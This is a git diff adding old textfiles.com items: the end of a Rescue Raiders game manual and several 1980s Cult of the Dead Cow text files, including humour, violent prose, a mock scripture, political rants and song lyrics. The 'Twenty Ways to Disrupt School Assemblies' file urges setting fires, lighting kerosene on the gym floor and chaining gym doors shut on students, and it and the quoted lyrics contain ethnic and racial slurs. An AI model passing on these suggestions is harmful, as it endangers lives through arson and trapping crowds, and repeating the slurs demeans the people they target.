+immediate vicinity of your helicopter. The smaller area stretching across the +top of the screen is your "tactical radar" display: it depicts every element +on the battlefield, including missiles. You use the large display to maneuver +your helicopter in combat and on reconnaissance missions. Use the tactical +radar display to obtain an instant summary (or "map") of the positions of all +the elements belonging to you or the enemy. One important use of the tactical +radar is to detect enemy weapons which may be homing in on your helicopter. +Objects in the tactical radar display are color-coded according to what type +of element they are. The helicopters are represented as white squares which +are larger than any other element on the tactical radar. +--* HELICOPTER MANEUVERS AND OPERATIONS Your helicopter is the only game +element which you directly control and operate. You use your joystick to fly +the helicopter: simply push the stick in the direction you want the helicopter +to go. +Helicopter weapons are controlled by the joystick buttons. +Button 0 fires the machine gun. The machine gun will continue to fire as long + as button 0 is pressed or until you are out of ammunition (you have 50 rounds) +Button 1 drops bombs. Bombs will be released as long as button 1 is pressed. +You can carry up to ten bombs at a time. +Press both buttons simultaneously to trigger the helicopter smart missiles. +The helicopter must be at the same altitude as a target before the missiles will +launch. The missiles will "lock in" on the closest enemy element at the +helicopter's altitude, which may not be the target you wish to hit. Your +helicopter carries a maximum of two smart missiles at a time. + No weapons can be fired or launched while your helicopter is on the ground +or on a pad. If you press button 1 while on the ground, bombs will not be +released, but men who are in the helicopter will get out and begin to march +toward the enemy. + Your helicopter can carry up to five men at a time, in addition to the +pilot. If you land in front of any group of your men, they will climb into +the helicopter as they reach it, until five are on board. + If you press the space bar while the helicoptr is flying and carrying men, +one of the men will bail out and attempt to parachute to the ground. You can +drop a full load of men by pressing the space bar five times. Sometimes a +parachute will not open, and the man will fall to the ground and be killed. If +your helicopter is destroyed in the air, a man will sometimes survive to bail +out and parachute safely to the ground, where he will fight as an infantryman. +This man may be the helicopter's pilot or an infantryman that is being +transported. + Your helicopter will be damaged if it is hit by enemy weapons, even if it +is not destroyed. You can tell when your helicopter has been damaged, because +it will emit puffs of smoke from the lower rear part of its fuselage. These +puffs of smoke will increase in size as damage becomes more severe. + If your helicopter is destroyed and you still have additional helicopters +remaining, the screen will continue to show the helicopter's last location for +a few seconds, then will switch to your headquarters helicopter pad. At times, +you may wish to continue watching the action taking place at the site where +your helicopter was destroyed:holding down either joystick button will allow +you to see events occurring after the destruction of your helicopter. +Releasing the joystick button(s) will then return the screen view to the new +helicopter at the right end of the field. + Return your helicopter to the launch pad if you want to replace depleted +weapons and ammunition, or if you wish to refuel or repair damage. When the +helicopter has been completely repaired, re-armed and refueled, a green bar +will appear across the top of the screen immediately below the tactical radar +display. The more supplies and repairs your helicopter requires, the longer +it will have to wait on the pad before the green bar appears If men are on +board the helicopter, they may be able to make repairs without returning to +the launch pad under certain circumstances. + When your fuel becomes low, the "Low Fuel" message will appear in the +center of the display screen. When fuel becomes dangerously low, an audible +warning will begin to tick, and a fuel gauge will be displayed at the top of +the screen. + +GROUND FORCES + You must advance ground forces to take ground and to win the game by +destroying the enemy time machine. Ground forces include all mobile elements +except helicopters. +Ground forces are deployed by using the keyboard. + PRESS: FOR: + T Tanks + M Men (soldiers) + E Engineers + A Anti-Aircraft Missile Carriers + D Demolition Team Vehicles + +Pressing T, A, or D will bring one vehicle onto the field. Pressing M will +deploy a squad of five men, and E will deploy two engineers. You must +wait until a vehicle or squad is on the field before deploying something else. +You will hear a click as an element is deployed, and the lines above and below +the tactical radar display will change from blue to white while elements are +moving onto the field (this change is visible on a monochrome monitor, although +the colors are not). +Ground forces advance and fire on enemy forces automatically. A ground force +element stops moving forward only when it is actually firing at an enemy +element. +Ground forces should be deployed in such a way that they will overcome +resistance on the field. Remember to anticipate normal losses and casualties. +Your helicopter is an invaluable tool for supporting and defending ground +forces. + +FINANCE + + Like a real army, your forces require money to operate. Everything you +use, except for your initial allotment of helicopters and the fuel and weapons +for them, must be paid for. Every time you press a key to deploy a mobile +ground element, the price of that element will be subtracted from your balance. +You may purchase additional helicopters by pressing the H key if you have +sufficient cash. + You receive money according to the time you spend in combat. Every +fifteen seconds, one small bag of money is added to your account. +You will be charged at the following rates, in small bags of money: + +Item (quantity) Price +1 Helicopter 20 bags +1 Tank 4 bags +5 Men 5 bags +2 Engineers 5 bags +1 Anti-Aircraft Missile Carrier 3 bags +1 Demolition Team Vehicle 2 bags + + If you do not have sufficient cash to pay for an item, pressing the key to +deploy it will have no effect. + The game imposes limits on the total number of each mobile element which +can be on the field at one time. If you attempt to exceed these limits, press- +ing a key will not deploy a new element, even if you have enough cash to buy it + +COMPUTER STATUS REPORTS + + You can obtain a report from your command computer at any time by pressing +C. This report shows you the amount of cash you have and displays your +helicopter combat readiness. The amount of cash is displayed first, followed +by the number of bombs, smart missiles and men aboard your helicopter. Last, +the number of helicopters remaining to you is shown. + Cash is displayed as moneybags of two different sizes. One large bag +represents four small ones. The prices of equipment and men listed above are +listed in small bags. + You will see the symbols for bombs, missiles or men only if they are on +board your helicopter at the time of the report. + A guage showing the fuel supply for your helicopter will be displayed +across the top of the screen just below the tactical radar display during a +Computer Status Report. On a color monitor, white represents fuel remaining, +and red represents fuel already used. The white bar will shorten to the left +and be replaced by red as fuel is consumed. You will be able to see the +difference between the "white" and "red" portions on a monochrome monitor, +even though the actual colors are the same. + +SCORING + + The objective of Rescue Raiders is to win battles. The only way to +achieve total victory and truly win the war against the Time Terrorists is to +defeat them on all eight Rescue Raiders battlefields. To help you measure +your progress and your achievement even if you fall short of this goal, a +point score is provided. +Rescue Raiders is scored according to two factors:The amount of damage done to +the enemy; and the cost of damaging the enemy. + Your point score is an indication of how well you have achieved the +objectives of Rescue Raiders. Your goal should be the highest possible point +score while winning the eight battles. + War, however, is not a black-and-white issue. the winner of a war pays +an enormous price for victory. There are the obvious financial burdens +involved not only in the purchase of weapons and equipment, but in the shifting +of a nation's production from consumer goods to military supplies. The +civilian population must bear the cost of this production directly, in the form +of taxes, and indirectly, in th form of goods and services which become scarce +or unavailable in a wartime economy. Even so, the financial cost of a war is +less important than its moral cost. No amount of money will restore those who +are killed. A nation at war has a moral obligation to balance the advantages +of victory against its costs. + Points are deducted from your score for each mobile element which you +deploy. Points are also deducted for time spent in battle: the longer it takes +you to win, the lower your score will be, with all factors equal. + Press ESC to pause the game and view your score. + +OTHER FEATURES + +Save game-press ESC to freeze, then type SAVE. +To restore saved game, press ESC to freeze, then CONT. + +Call these super-duper K-K00L rad boards!!!! +The Marauding C.A.M.E.L. BBS 806-794-4362 Apple II +The Missing Link 806-799-0016 Apple II +Bloom County 806-762-6787 Mac +Sunset Strip II 806-793-7011 Commodore 64/128 + diff --git a/textfiles.com/groups/CDC/cDc-0005.txt b/textfiles.com/groups/CDC/cDc-0005.txt new file mode 100644 index 00000000..a2f23d3d --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0005.txt @@ -0,0 +1,51 @@ + +_______________________________________________________________________________ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + RENEGADE COWS + + by HAL 8999 + + >>> A CULT Distribution.....1986 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ +RENEGADE COWS-BY HAL 8999 QUESTION AUTHORITY BBS + + These were not the average "contented" cows. They were cows born for +trouble. They were not cows who could stand by and let people call them Bossy. +They were cows who could not hang around all day lowing. They were cows who +could be just as happy chewing someone else's cud as their own. These were +renegade cows. + + My first experience with the renegade cows began one day as I was admiring +a particularly attractive cow at Johnson's Weed Farm. As I stood there, +watching her sultry body move lithely through the rushes, I noticed several +other cows staring at me through the weeds, giving me that look that only a cow +can give... + + Later that night, I was at home, thinking over the day's events. The +Rubber Duck Throwing Contest, the parade that followed: bands and floats and +baton-tossing girls all marching down the middle of the Missouri river. I +SHOULD have been analyzing the glare of those cows I'd seen earlier that day. + + The doorbell rang. I opened the door, glad to have a visitor, but found +myself face to face with three renegade cows. I could not see their eyes behind +the dark glasses. + + They ambled in and I did not try to stop them. + + That night, they just stood around my bed and watched me sleep, much the +same way my potatoes do, and I guess you might say I learned my lesson: + + DON'T FOOL WITH RENEGADE COWS. + +=============================================================================== + (c)1986 cDc communications by HAL 8999 0/0/86-05 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0006.txt b/textfiles.com/groups/CDC/cDc-0006.txt new file mode 100644 index 00000000..681bd539 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0006.txt @@ -0,0 +1,103 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + TWENTY WAYS TO DISRUPT SCHOOL ASSEMBLIES + + by Sid Vicious + + >>> A CULT Publication......1986 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + Basically anti-social, anti-establishment? Hate school? Who doesn't! +Here's 20 things to screw up those JOCK-O-RAMA pep rallies and various other +senseless assemblies in your fascist school...just TRY to have fun.. + + + 1. When the cheerleaders start bouncing (literally) around trying to get all + the wretched students to do their demonic, assinine chants (Beat 'em up + beat 'em up, rah rah rah! Snap those spinal cords, ha ha ha!" , you + should get everyone to chant something like "The New Discipline Management + Plan SUCKS - The New Discipline Management Plan SUCKS!" etc. + + 2. When the cheerleaders yell, "Are you ready!??"--You yell reeeal loud, + "NO!" + + 3. After their cheers yell stuff like, "Violence Rulez! Guns R cool! + And we've got guns, in our school!" + + 4. Yell cheerleader, twirlers, football players names when they are + introduced or just simply to embarrass them... + + 5. Stand up and ask in a loud voice for one of the cheerleaders to marry you. + + 6. Say in a loud voice, "I gotta go to the bathroom!" then walk down in the + middle of the pep rally and leave. + If they try to stop you, just start hoping up and down like you can't hold + it...They'll let ya go...when they say, "ok, you can go!", run as fast as you can to a remote bathroom(i.e.-home) where they can't follow you... + + 7. When a twirler drops her baton or a cheerleader messes up, laugh as loud + as you can...i mean REALLY LAUGH HARD! + + 8. If like the principle comes up behind you and sits, turn around and say, + "Ok, Mr. So-n-So, on the count of three yell, Down with Mr. So-n-So + (his name in both places) + + 9. Get those air horns and rig it up to where when someone sits down, it'll + go off....everone will look around dumbfounded to see who's doing it... + They'll never know... + +10. Water Balloons is a definate possibly, but i don't suggest it...yesterday + at ours, i was playing with this purple balloon like a beachball...ya + know, bouncing it between people and 'accidently' letting it get away from + you where hopefully someone will pop it...or you could just pop a few + yourself + +11. If you're terribly brave or stupid you can stand up and yell, "East + Lubbock/Wherever Rulez!" or "Beaners suck!" + +12. The airhead cheerleaders ask you to yell, right? Yell at all times... + even when it's supposed to be semi-quiet... + +13. Make a fire. + +14. Spray the cheerleaders pom-poms with that dog training stuff or fart spray + +15. If you're in the band, play the music that you think is more suiting for a + pep rally... + +16. Scream anti-scholastic things during the school song + +17. DO a complete reversal and dance to the fight song...(this one is good if + you are sitting near the front or the middle)...just stand up and dance + and sing the words if ya know 'em! + +18. (this one is unlikely for some reason...) Write your name or the opposing + teams name on the gym/football field with like kerosine and light'er up! + +19. Get snap -n- pops and sit at the top and throw 'em at everone.(heh) + +20. Lock 'em up! That's right! Get chains and lock all doors to the gym... + ..then ya got 2000 angry students with only 15 teachers..I dunno who would + want out worse, the students or the teachers...heh. + + + (I tried alot of these for the first pep rally of the season at my stupid + private school...I didn't get to try the things that required planning + (burning the school down, lock ups, air horn, ect) but I did do all of the + yells and dancing and proposing marriage, chanting, singing, ect.) + + Thanks to myself for writing this file, and the corrupt administrators for + giving me something to write about... + +=============================================================================== + (c)1986 cDc communications by Sid Vicious 0/0/86-06 + All Rights Worth Shit + + diff --git a/textfiles.com/groups/CDC/cDc-0007.txt b/textfiles.com/groups/CDC/cDc-0007.txt new file mode 100644 index 00000000..11494fd2 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0007.txt @@ -0,0 +1,50 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + SLOW DEATH + + by Swamp Rat + + >>> A CULT Publication......1986 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Imagine if you will... + + Creeping death, starting at your ears...they ring...and feel numb and then +fall off like you've got leprosy...you start to bleed from your ear sockets... +something unseen starts beating your nose into a pulp...then your teeth fall +out...one by one..gum disease sets in...it spreads...your jaw rots and falls +off...your shoulders get a 3rd degree sunburn...they peel...your fingers tingle +...fingernails turn black...hands turn black...arthritis sets in...can't move + hands... belly button itches...can't move hands to scratch...leech crawls into +belly button and starts sucking blood...lice inhabit your pubic hair...a large +rat starts eating away your dead genitals parts...incredible, delicious pain... +you still haven't died, lusting for death to take you away...hair on legs falls +out...toenails are ingrown...big toe starts bleeding and the toenail cuts in so +deep that it starts splitting your toe...you would scream in agony but your +tongue has rotted away...athletes foot occurs...you pray to end the torture, +but you aren't finished yet...your hip dislocates on its own...kneecaps are +shattered...an ambulance drives by slowly, the driver leans out and laughs at +you...then drives off...small children play around your dying body...they throw +pebbles at your decaying carcass...someone drops his Slurpee on your head, +another relieves his bladder on you...they leave...laughing with disgusting +playful joy as your private hell continues...the night comes...roaches crawl +into your ears...you can feel them eat your eardrums out...a racoon nibbles on +your toes...you feel the vibrations of a fast moving vehicle on the pavement + behind you, which you can't hear because of the roaches...a toad is crawling +down your throat...suddenly, your skull is smashed and blood and bits of brain +material is splatterd and streaked out all over the asphalt as a Z-28 doing +110 finishes your slow death as all fades to black. Final peace. + +=============================================================================== + (c)1986 cDc communcations by Swamp Rat 0/0/86-07 + All Rights Worth Shit + + diff --git a/textfiles.com/groups/CDC/cDc-0008.txt b/textfiles.com/groups/CDC/cDc-0008.txt new file mode 100644 index 00000000..40e02d19 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0008.txt @@ -0,0 +1,143 @@ + + CULT OF THE DEAD COW + + cDc + _ _ + ((___)) + [ x x ] + cDc \ / cDc + (` ') + (U) + + xXx + + "Fuckin' rule the world" + + (c)1985-7 PGE/Cult of the Dead Cow + + + proudly presents... + + + + + T H E B O O K O F C O W + --------------------------------- + + XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX + + + CHAPTER I + + +Let the cow be reborn, and emerge from the firey midsts of dawn. Let bellows +rush across the horizon, and endless let the Cult processions follow... + +In principia, there was a single utterance. And then all resumed silence. +And the utterance became cow, and cow became reality. And from the infinity of +existence, the beast rumbled forth, and all was cud and the effluvium of +animal. This was the beginning. And from the Moment of the Cow was born all +that we call earth. The story was thus told. + +Before the heavens melded the horizons, or earth received her form, there was +an entity which transcended the am. And from this reality, the master of +reflections, the thinker of the universe, all that is came to be. The Cow, +though the beginning, was the embodiment of the Am. This was and is the +Forever...the Roach. And all that must fleetingly exist, must too, by nature, +return to the Lair. Born to die, and through death, rebirth. The Roach is what +is, the unspoken and the unspeakable. The Roach is destiny, and the Cow +is its apostle. + +The Day of the Cult was midwinter and blustery. And from the fertile minds +of men-children it grew, and the Message thus came to humanity. But the Cow was +the Prophet, and now the Cow is dead. We await reunion, rebirth in the Roach. +Until the Day of Destiny, hear the message, be one in the bovine. Suckle the +fresh milk of knowledge. And let the bellow blast again the heavens. + + + CHAPTER II + + +The beginning was Cow. The beginning flowed forth from Roach. And before the +echoes of that first bellow had faded from the crisp winds of birth, Cow had +taken form; behold, the embodiment of all that was Roach, all that was forever +the Am. And The Cow grazed in meadows and green pastures, where the grasses +still bowed beneath the dew of infinity. Cow was one with Roach, and graced +existence with the unspeakable. Yet Roach grew angry. For the Bovine One, in +his compassion, endowed to the earth that which it was unholy to know. And so +the eternal rained death. The wrath of Roach is to be feared, as it was feared +then, in those first seconds of forever. The Cow had offended Roach, for the +Cow was never meant to be apart. Indeed, it was wrong ever to bring the Cow +away from the Am; the wrath of Roach was testament to its compassion, and the +firey fate of the Cow is our destiny. For now we are divided, but we shall +again join the eternal. Henceforth, fear the ire of Roach as one fears the +daylight, or the fire by night. By death, we shall gain reunion, as once the +Cow, the Apostle, the Bovine One gained reunion with Roach. Yea, the Roach's +anger flares from his jealousy, for he desires us immeasurably. Our lot is the +Am, and the path to the Am is the path of the Cult. + +The pristine light of the young day-star caressed the silken earth, slick with +youth. From that same womb of first creation came the Cow, and his message was +woven into the web of existence. We are the inheritors of that message, and in +us is Cow. But the Cow offended Roach, and caustic rage wrentched heavens +from earth. Along the horizon rode the ghastly Valkyrie, and the sun retreated +to her sepulchre beneath the seas. Twilight ruled the meadows, and the green +grasses twisted briar-like around the Cow's cloven hoofs. Roach summoned the +creatures of the dark, sprites and demons from the realm of Asmodeus, and the +maidenly air was pierced with shrieks of Judgement. From his trunk, the Cow's +legs were shorn, and maggots feasted upon his reddened eyes. The river of earth +flowed blood-red, and the majestic oaks burst forth in flame. Earth smoldered +and existence fled the sharp sickle of destruction. Twilight gave way to night, +and the darkness bore the Moon. In bloodless white linen, the lupine herald +floated up, claiming the lair of daylight as its own. And the soft, +surreptitious moonbeams gave mute witness to the coming of the Second +Generation. The Cow was dead. And from this sacrifice emerged the Second Age, +the Age of the Manchild. And so we inherited the earth, and the message of Cow. +In the dark of despair, pale white in the moonlight, man awoke...and was made +afraid. The night had descended. + + + CHAPTER III + + +The Age of Man had come, and now the earth was ruled by sons of the finite; +mortal were the inheritors of the Bovine Legacy. Yet, the eons passed in +mournful procession, and man lost himself in futile endeavor, and created for +himself a prison. The Second Generation became blind to the reality of Roach, +and deaf to the message of Cow, a message that roared with the forest winds, +and purred hoarsely with the panther. Night was the inheritance of that sad +race, and Cow felt pity. Behold, the Cow brought forth a new century, unlike +any which before had passed. And this century, in its old age spawned children +of the light. In them was the seed, and humanity, unaware, became contingent +upon these. So did the Cult spring in those barren times, and so did fertile +minds harvest the crops of justice and truth. The Cult unsheathed the shining +blade of knowledge, and into battle marched, resplendant in the dazzling garb +of ideals. + +Thus the Cow revealed himself to man, as man, as children of the light; at +speeds beyond all reckoning, these did commmunicate, and so join in the +comaraderie, the union of the Cow, the Cult. Within these annointed ones lay +the message, and through them will Roach once again bring to his divided being +the peace of reconciliation. Yea, this is the Destiny. The disciples of Cow +now live for the Day of Sanity, when the seconds of infinity will no longer +soar in cadenced formation, and the seas will be dry, and the land will be firm +no more. The bellow will blast again through the heavens and Roach will be One. +Am shall again Be. Await breathlessly the Day, and learn of thyself lest +Torment be your fate. The Roach is neither merciful nor merciless. The decision +is ours alone to bear, and beneath this heavy burden, the Cult blooms in +ephemeral glory. + + +The Book ends at the Beginning. In our final moments, forever awaits. Beneath +the finite mountains lurks infinity. And this is Roach. And this +is Cow. + + + +High Priest and Scribe, Gibe +The Holy Order of the Dead Cow + + XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX + (c)1985-7 cDc communications by Franken Gibe 3/29/87-08 + + diff --git a/textfiles.com/groups/CDC/cDc-0009.txt b/textfiles.com/groups/CDC/cDc-0009.txt new file mode 100644 index 00000000..738c592e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0009.txt @@ -0,0 +1,115 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + SOCIETY SUCKS + (and what to do about it) + + by Psychotic Opposition + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The time has come where Anarchy is on everyones mind. Soon, one day, we will +rule, not these Nazi Punk Fucks who try to conform us into one....of their own +image. Destroy Power, not people. We are but a few who are taking a stand +against these moral mentality wifes who are trying to label records to protect +the youth of our age. We are but a few who are taking a stand against the +schools conforming us into ONE to where we will think, speak, walk, dress, and +dream as one individual. That individual is of course their image by THEIR own +choice. I am an individual as one and such. Nothing more....NOTHING LESS. I do +not believe in your silly Government or your stupid laws. They are all lies. + + Congress shall make no law respecting an establishment of religion, or +prohibiting the free excercise therof; or abridging the freedom of speech, or +of the press; or the right of the people peaceably to assemble, and to the +government for a redress of grievances. + + What a crock of shit. Have these rights ever been violated? Hell yeah. Take a +stand my friend and join us on the free side. You are not free, you are animals +caged in a basket full of oppressors and conformists. + + + WE'VE GOT A BIGGER PROBLEM NOW + +I am Emperor Ronald Reagan. +Born again with fascist cravings. +Still you made me president. + +Human rights will soon go 'way. +I am now your Shaw today. +Now I command all of you. +Now you're gonna pray in school. +I'll make sure they're Christian too. + +California Uber alles. +Uber alles California. + +Klu Klux Klan will control you. +Still you think it's natural. +Nigger knockin' for the master race. +Still you wear the happy face. + +You closed your eyes, can't happen here. +Alexander Haig is near. +Vietnam won't come back you say. +Join the Army or you will pay. + +California Uber alles. +Uber alles California. + +Welcome to 1984. +Are you ready for the Third World War?!? +You too will meet the secret police. +They'll draft you and they'll jail your neice. + +You'll go quietly to boot camp. +They'll shoot you dead, make you a man. +Don't you worry, it's for a cause. +Feeding global corporations' claws. + +Die on our brand-new poison gas. +El Salvador or Afghanistan. +Making money for President Reagan. +And all the friends of President Reagan. + +California Uber alles. +Uber alles California + + --The Dead Kennedys + +Fuck Economics. Fuck Power. Fuck you if you don't believe. These are the days +of Censorship, Power Moguls, Chemical Waste (Nuclear Dumps, Toxic Waste), +and Fear of War. You must fight for your rights as a person. Not as an +American, but as a person who gives a shit about the environment you live in. +I'll give some addresses to those who can help you get involved or at least let +you become aware of what is being done in your society that has been kept down +to a slow roar because the Gov't. fears panic and restraint. Use your brain, +think for yourself, speak out, take action or let the Silence bury you alive. +You must let yourself become the spirit of resistance. We want to create a +world so free we can run wild. + -PSYCHOTIC OPPOSITION +DESTROY POWER NOT PEOPLE. +MAKE LOVE NOT WAR. + + + ALTERNATIVE RECORDS GREENPEACE + P.O. Box 11458 Fort Mason Bldg. E + San Francisco, CA. 94101 San Francisco, CA. 94123 + +(ask for the defense fund newspaper, (ask for any info you like concerning + Fuck Facts, & Landscape #20) nuclear & toxic shit, destruction of + animals, etc. + Ask for free bumpersticker) +=============================================================================== + (c)1987 cDc communications by PSYCHOTIC OPPOSITION 0/0/87-09 + All Rights Worth Shit + + diff --git a/textfiles.com/groups/CDC/cDc-0010.txt b/textfiles.com/groups/CDC/cDc-0010.txt new file mode 100644 index 00000000..555972ed --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0010.txt @@ -0,0 +1,153 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + P.E.A.C.E. + + by Psychotic Opposition + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + We can do it. + + Nearly 40 years after unleashing the most destructive weapon known to +modern humanity, it is not too late to realize that we have made a grave +mistake in choosing the road to destruction rather than cooperation, apathy +rather than sympathy, global disease rather than world peace. We can change +this course that leads to war, police state, painful cancer and the highly +probable annihilation of the human species. Just as we have the technology and +resources available to destroy the world more than 100 times over, we have +everything we need to provide for all the needs and rights of every living +being on the planet, and respect our mother earth as the kind of provider of +life that she is. Unscrupulous, greedy, money and power seekers have dominated +our lives and earth for too long and today is the day for each of us to put +forth all of our efforts to liberate ourselves and our human family and our +earth from the destructive exploitative slavery we live under. Short-term +gratification and profits threaten to annihilate the existence of all life on +planet Earth! + + Peace, how do we go about reaching it? NO not just the time between +wars, but peace itself. The putting together of many different ideas all +working toward one main goal. Eventually doing away with the evils that +oppress us, and learning to use our own minds for ourselves. Also becomming +more aware of our surroundings and realizing when something is wrong, then +trying to change it. There has been and always will be people striving for +world peace but only time will tell. + + TELL ME HOW....can you pledge allegiance to a nation that causes mass +extermination, crushes hope; determination puts the poor on permanent ration. +We always back the wrong horse then expect to win the race. Escalate the body +count in hope to save our face. I see one more Vietnam. Can we ever bury the +already dead? Can you substitute an MX Missile in exchange for daily bread? +Nostradamus was a prophet. He said a plague would be in our time. It cought +us with our pants down. It came up from behind. + + If you value your ability to breathe the air; to run, jump and play; to +smile and laugh; to see and smell the beauty of a rose; then join your efforts +with the worldwide efforts for peace so that there will be a tomorrow for us +and our children on this earth. We are facing the destruction of the earth due +to nuclear military madness. + + We must remember that it has been we Americans who, at almost every +step of the road, have taken the lead in the developement of (nuclear) +weaponry. It was we who first produced and tested such a device; we who were +the first to raise its destructivness to a new level with the hydrogen bomb; we +who introduced the multiple warhead; we who have declined every proposal for +the renunciation of the principle of "first use", and we alone, so help us +God, who have used the weapon in anger against others, and against tens of +thousands of non-combatants at that. Peace is not exclusively a national but +an international issue. You can't have peace in one place and war somewhere +else. War anywhere threatens us eveywhere. The world today is such that +there's no room for a nuclear holocaust anywhere because everyone would be +affected. The idea is too destructive. + + People everywhere can gain much strength and encouragement from the +knowledge that the overwhelming bulk of governments - the non-aligned and +Socialist countries in the first place, stand with them. They are calling for +the same concrete steps that the millions demonstrating throughout the world +are demanding, such as....1)an immediate freeze and the reduction and +elimination of all nuclear weapons; 2) renunciation of the first use of nuclear +weapons; 3) a comprehensive ban on all nuclear testing; 4) the establishment of +nuclear weapon - free zones; 5) the bannning of space weaponry, and so forth. + + The wish for peace in the world has never been so great. Hundreds of +millions of people in the world are marching, demonstrating, participating in +non-violent civil disobediance such as peace camping and vigiling against +nukes, nuclear missiles, and nuclear war. Other people are "underground" +fighting in an armed struggle for economic justice and peace. We are all types +of people: students, workers, parents, feminists, gays, scientists, scholars, +soldiers, revolutionaries, anarchists, socialists, comunists, radical, +liberals, moderates and even a few conservatives. The big question is......... +"WHAT CAN I DO?" Communicate and activate, even though the world is in as +much danger as it's ever been, people working together have won some battles. +Through non-violent action we can refuse to cooperate with a system that +perpetuates the nuclear arms race, and divorce ourselves from violence and +oppression. + + An evolutionary growth or leap in conscious growth or leap in conscious +awareness is urgently needed to rapidly achieve a nuclear-free, +conventional-war-free, non-exploitive world. The human rights movement must +continue to grow, to demonstrate the inter-connectedness of all the economic +and political and bloody crimes committed against humankind by greed for power. +Any reason to use nuclear weapons becomes unthinkable due to the consequences. +We must use reason and understanding instead of weapons and violence to settle +our differences. (remember....peace or annihilation) + + Get active, demonstrate your opposition and dissatisfaction! The media +(slanted as we know it is) can often educate people, who in turn contact +politicians and let them know how large blocks of their constituents feel. +This work can be time-consuming, exhausting and sometimes dangerous, but the +feeling of solidarity built by working together through unity can make us feel +less frustrated and paralyzed. We can feel less alone, work with hope in our +hearts for a common vision of a safer more equal world. We must fight the +feeling of being in a hopeless situation. + + By turning our priorities, directions and use of energies, resources +and technology toward peaceful and positive solutions, we can collectively +decide to break down the power and decision heiarchy based upon macho, +might-makes-right power and wealth. It is time for us to meet, and solidify +and bring into immediate action a plan for world peace which will embrace and +protect and secure the needs and rights of each world citizen and the earth +itself. Let us lay aside our differences and be willing to sacrifice wealth +and luxury in order that each and every person on earth may enjoy the benefits +and security of living in a peaceful world. We must meet to consolidate our +ideas and stratagies and make use of all available means to spread this vital +message of peace as quickly and effectively as possible to all the people in +the world. + + Our stratagies and courses of action must be built upon the pillars of +honesty, sincerity and respect for each other and our common goal of securing +true World Peace without want, without exploitation, without repression, and +with the highest priority of each individual not being personal gain. We can +develop a world and personal attitude in which the highest priority of each +person is the happiness and well-being of the planet itself, using the highest +standards of quality afforded us by the science and technology of this age. + + This is the call for people all over the world to be committed and +concerned enough to talk with each other about the changes that need to be made +in the world society and the act together so we can all live together and work +with each other in peace. Only by creating a new reality with our words and +then with our actions can we hope to achieve the new world we desire, so let us +start right now. + + P.E.A.C.E. is a Personal committment to giving your Energy and positive +Action to world-wide Cooperation for conscious, responsible Evolution. + + + + PEACE wants YOU!!! + + PSYCHOTIC OPPOSITION +=============================================================================== + (c)1987 cDc communications by PSYCHOTIC OPPOSITION 0/0/87-10 + All Rights Worth Shit + + diff --git a/textfiles.com/groups/CDC/cDc-0011.txt b/textfiles.com/groups/CDC/cDc-0011.txt new file mode 100644 index 00000000..4cdc1de9 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0011.txt @@ -0,0 +1,598 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + SUICIDAL TENDENCIES + Join the Army + + Compliments of Wasted Pandemonium + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + + Suicidal Maniac + --------------- + +A birth that came from more than sound +Now rages on from town to town +A giant grows more every day +And now the Maniac is here to stay + +A feeling you can't kill +It's the power, it's a will +Controls your thoughts but you can't see + +Just when you thought it safe he suddenly appears +He feels no pain, he has no mercy or no fears +He gives the message and your mind is filled with blue +And now the Maniac lives inside of you + +He's back. The Suicidal Maniac + +Each day he grows more and more +He's bigger now than ever before +His thoughts he'll compromise on never +He can't be stopped. He'll live forever + +Blast away through the mind +A power of another kind +A presence that is growing out of sound + +And now it's come, the time the Maniac I'll meet +He takes my hand and now I bow down to his feet +His love for me is like father to a son +And now the Maniac and I are one + +I bow to his might +Too powerful to fight +It's my destiny +Now the Maniac lives inside of me + +He's back + +An army at his command +A strength you can't comprehend +A force unknown can now be told +The power of the world he holds + +A feeling you can't kill +It's the power. It's the will +Controls your thoughts but you can't see + +Just when you thought it was safe he suddenly appears +He feels no pain, he has no mercy or no fears +He gives the message and your mind is filled with blue +And now the Maniac's part of you +And the time has come. The Maniac you'll meet +He takes your hand and now you bow down to his feet +His love for you is like a father to a son +And now the Maniac and you are one + +He's back - and he's a Suicidal Maniac + + + + + + Join the Army + ------------- + +I got a story to tell, now listen up real well +Pay attention this way to what I got to say +Took it to the street, rap to the people we meet +Now were rocking out hard, to the Suicidal beat +Tried to deny our right, so we put up a fight +Just doing our thang, they tried to call it a gang +Saw the way we look, that's all that it took +That's all she wrote, they had their scapegoat + 